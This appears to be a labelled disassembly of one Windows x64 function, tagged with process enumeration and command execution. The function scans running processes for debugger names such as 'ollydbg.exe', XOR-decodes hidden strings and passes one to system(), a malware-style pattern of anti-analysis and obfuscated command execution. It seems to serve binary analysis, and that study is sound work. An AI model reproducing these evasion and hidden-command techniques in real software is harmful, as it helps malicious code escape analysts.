Function at 0x14005ddd0
Capabilities:
Enumerate processes
Execute command

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a8]
sub rsp, 0x3a8
mov dword [rbp + 0x2f0], 0
nop word [rax + rax]
lea rax, str.ollydbg.exe
mov qword [rbp + 0x2f8], rax
nop
mov rdi, qword [rax]
mov dword [rbp + 0x60], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14005de69
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x8c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x14005df74
lea rdx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14005de40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x2f8]
add rax, 8
mov qword [rbp + 0x2f8], rax
lea rcx, [0x1401c3280]
cmp rax, rcx
jne 0x14005de10
call fcn.1400ec8c0
lea rcx, [0x14010eb38]
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x58], 1
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.14004bf90
mov r14d, dword [rbp + 0x2f0]
or r14d, 0x30
mov dword [rbp + 0x2f0], r14d
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x60]
call fcn.140071160
test eax, eax
jne 0x14005e497
lea rcx, [rbp - 0x10]
call fcn.14006d7d0
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x14005df04
lock inc dword [rsi + 8]
mov rsi, qword [rsp + 0x68]
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
test rsi, rsi
je 0x14005df1d
lock inc dword [rsi + 8]
mov rsi, qword [rsp + 0x68]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
test rsi, rsi
je 0x14005e1de
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14005e1d9
mov rbx, qword [rsp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005e1d9
mov rsi, qword [rsp + 0x68]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x14005e1de
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x68], 0
je 0x14005de72
movdqa xmm1, xmmword [0x140112e10]
movdqu xmmword [rsp + 0x3d], xmm1
mov cl, 0x7a
mov dl, 0x78
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r9b, Ordinal_60
mov r10b, 0x76
mov bl, 0x62
movzx edi, r9b
mov sil, 0x77
mov r14b, reloc.WS2_32.dll_WSACleanup
movzx r15d, cl
mov r12b, 0x7f
mov r13b, 0x7e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rsp + 0x3e], al
xor byte [rsp + 0x3f], r11b
xor byte [rsp + 0x40], r11b
xor byte [rsp + 0x41], r11b
xor byte [rsp + 0x42], r11b
xor byte [rsp + 0x43], r11b
xor byte [rsp + 0x44], r11b
xor byte [rsp + 0x45], r11b
xor byte [rsp + 0x46], r11b
xor byte [rsp + 0x47], r11b
xor byte [rsp + 0x48], r11b
xor byte [rsp + 0x49], r11b
xor byte [rsp + 0x4a], r11b
xor byte [rsp + 0x4b], r11b
xor byte [rsp + 0x4c], r11b
xor cl, r11b
mov byte [rsp + 0x4d], cl
xor dl, r11b
mov byte [rsp + 0x4e], dl
xor r8b, r11b
mov byte [rsp + 0x4f], r8b
xor r9b, r11b
mov byte [rsp + 0x50], r9b
xor r10b, r11b
mov byte [rsp + 0x51], r10b
xor bl, r11b
mov byte [rsp + 0x52], bl
xor dil, r11b
mov byte [rsp + 0x53], dil
xor sil, r11b
mov byte [rsp + 0x54], sil
xor r14b, r11b
mov byte [rsp + 0x55], r14b
xor r15b, r11b
mov byte [rsp + 0x56], r15b
xor r12b, r11b
mov byte [rsp + 0x57], r12b
xor r13b, r11b
mov byte [rsp + 0x58], r13b
mov al, 0x69
xor al, r11b
mov byte [rsp + 0x59], al
mov al, 0x35
xor al, r11b
mov byte [rsp + 0x5a], al
mov byte [rsp + 0x5b], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
lea rax, [rsp + 0x3e]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14005e0a5
lea rdx, [rsp + 0x3e]
lea rcx, [rbp - 0x50]
call fcn.140073520
lea rdx, [rbp - 0x50]
lea rcx, [0x14075faf0]
call fcn.1400914b0
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x140112df0]
movdqu xmmword [rsp + 0x20], xmm1
mov cl, 0x7c
mov dl, 0x77
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r10b, 0x6c
mov r11b, 0x6b
mov bl, Ordinal_50
mov dil, 0x7a
mov sil, 0x67
movzx r14d, dil
mov r15b, 0x3f
mov r12b, Ordinal_50
mov r13b, 0x59
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], r9b
xor byte [rsp + 0x23], r9b
xor byte [rsp + 0x24], r9b
xor byte [rsp + 0x25], r9b
xor byte [rsp + 0x26], r9b
xor byte [rsp + 0x27], r9b
xor byte [rsp + 0x28], r9b
xor byte [rsp + 0x29], r9b
xor byte [rsp + 0x2a], r9b
xor byte [rsp + 0x2b], r9b
xor byte [rsp + 0x2c], r9b
xor byte [rsp + 0x2d], r9b
xor byte [rsp + 0x2e], r9b
xor byte [rsp + 0x2f], r9b
xor cl, r9b
mov byte [rsp + 0x30], cl
xor dl, r9b
mov byte [rsp + 0x31], dl
xor r8b, r9b
mov byte [rsp + 0x32], r8b
xor r10b, r9b
mov byte [rsp + 0x33], r10b
xor r11b, r9b
mov byte [rsp + 0x34], r11b
xor bl, r9b
mov byte [rsp + 0x35], bl
xor dil, r9b
mov byte [rsp + 0x36], dil
xor sil, r9b
mov byte [rsp + 0x37], sil
xor r14b, r9b
mov byte [rsp + 0x38], r14b
xor r15b, r9b
mov byte [rsp + 0x39], r15b
xor r12b, r9b
mov byte [rsp + 0x3a], r12b
xor r13b, r9b
mov byte [rsp + 0x3b], r13b
mov byte [rsp + 0x3c], 0
lea rcx, [rsp + 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14005de72
mov rsi, qword [rsp + 0x68]
cmp qword [rsp + 0x60], 0
je 0x14005e3bd
mov rax, qword [rsp + 0x70]
xor r15d, r15d
nop dword [rax]
nop word [rax + rax]
lea rdi, [rax + 0x20]
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.14004d290
movsd xmm0, qword [rax]
movsd qword [rbp - 0x30], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp - 0x30]
test edx, edx
je 0x14005e231
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14005e459
cmp ecx, 2
jne 0x14005e39d
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.14004d290
movsd xmm0, qword [rax]
movsd qword [rbp - 0x20], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp - 0x20]
test edx, edx
je 0x14005e267
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14005e469
cmp ecx, 2
jne 0x14005e358
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14005e27d
mov rcx, qword [rdi]
mov rax, qword [rdi + 0x10]
lea r10, [rcx + rax*2]
mov rbx, r10
mov rdx, r10
call fcn.14004c100
cmp rax, r10
je 0x14005e2cd
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x14005e2a4
cmp cx, 0x2f
jne 0x14005e2ad
add rax, 2
cmp rax, r10
jne 0x14005e295
cmp rax, r10
je 0x14005e2cd
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14005e2cd
cmp cx, 0x2f
je 0x14005e2cd
mov rbx, rdx
cmp rax, rdx
jne 0x14005e2b2
mov r8d, Ordinal_60
mov rdx, r10
mov rcx, rbx
call fcn.1400ed060
cmp rbx, rax
je 0x14005e31f
lea rdx, [rax - 2]
cmp rbx, rdx
je 0x14005e31f
cmp word [rdx], 0x2e
jne 0x14005e303
lea rcx, [rdx - 2]
cmp rbx, rcx
jne 0x14005e322
cmp word [rcx], 0x2e
jne 0x14005e322
jmp 0x14005e31f
sub rdx, 2
cmp rbx, rdx
je 0x14005e31f
nop dword [rax]
cmp word [rdx], 0x2e
je 0x14005e322
sub rdx, 2
cmp rbx, rdx
jne 0x14005e310
mov rdx, rax
sub rax, rdx
sar rax, 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov r8, rax
lea rcx, [rbp - 0x80]
call fcn.140072f80
or r14d, 0xf
mov dword [rbp + 0x2f0], r14d
cmp qword [rbp - 0x70], r15
jne 0x14005e358
mov bl, 1
jmp 0x14005e35a
xor bl, bl
test r14b, 1
je 0x14005e374
and r14d, 0xfffffffe
mov dword [rbp + 0x2f0], r14d
lea rcx, [rbp - 0x80]
call fcn.14006d7d0
test bl, bl
je 0x14005e39d
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14005e385
mov rcx, qword [rdi]
call fcn.1400ece30
mov qword [rbp + 0x2f8], rax
shr rax, 0x20
test eax, eax
jne 0x14005e479
lea rcx, [rsp + 0x70]
call fcn.14004ce60
test eax, eax
jne 0x14005e48f
mov rax, qword [rsp + 0x70]
test rax, rax
jne 0x14005e200
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14005e402
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14005e3fd
mov rbx, qword [rsp + 0x78]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005e3fd
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x14005e43d
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x14005e43d
mov rbx, qword [rsp + 0x68]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14005e43d
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov qword [rbp + 0x300], 1
lea rcx, [rbp + 0x300]
call fcn.1400718b0
jmp 0x14005de00
mov r8, rdi
lea rcx, str.status
call fcn.14004cc10
int3
mov r8, rdi
lea rcx, str.status
call fcn.14004cc10
int3
mov r8, rdi
mov edx, dword [rbp + 0x2fc]
lea rcx, [0x14010e0f8]
call fcn.14004cc10
int3
mov edx, eax
call fcn.14004cb20
nop
lea r8, [rbp - 0x10]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.14004cc10
int3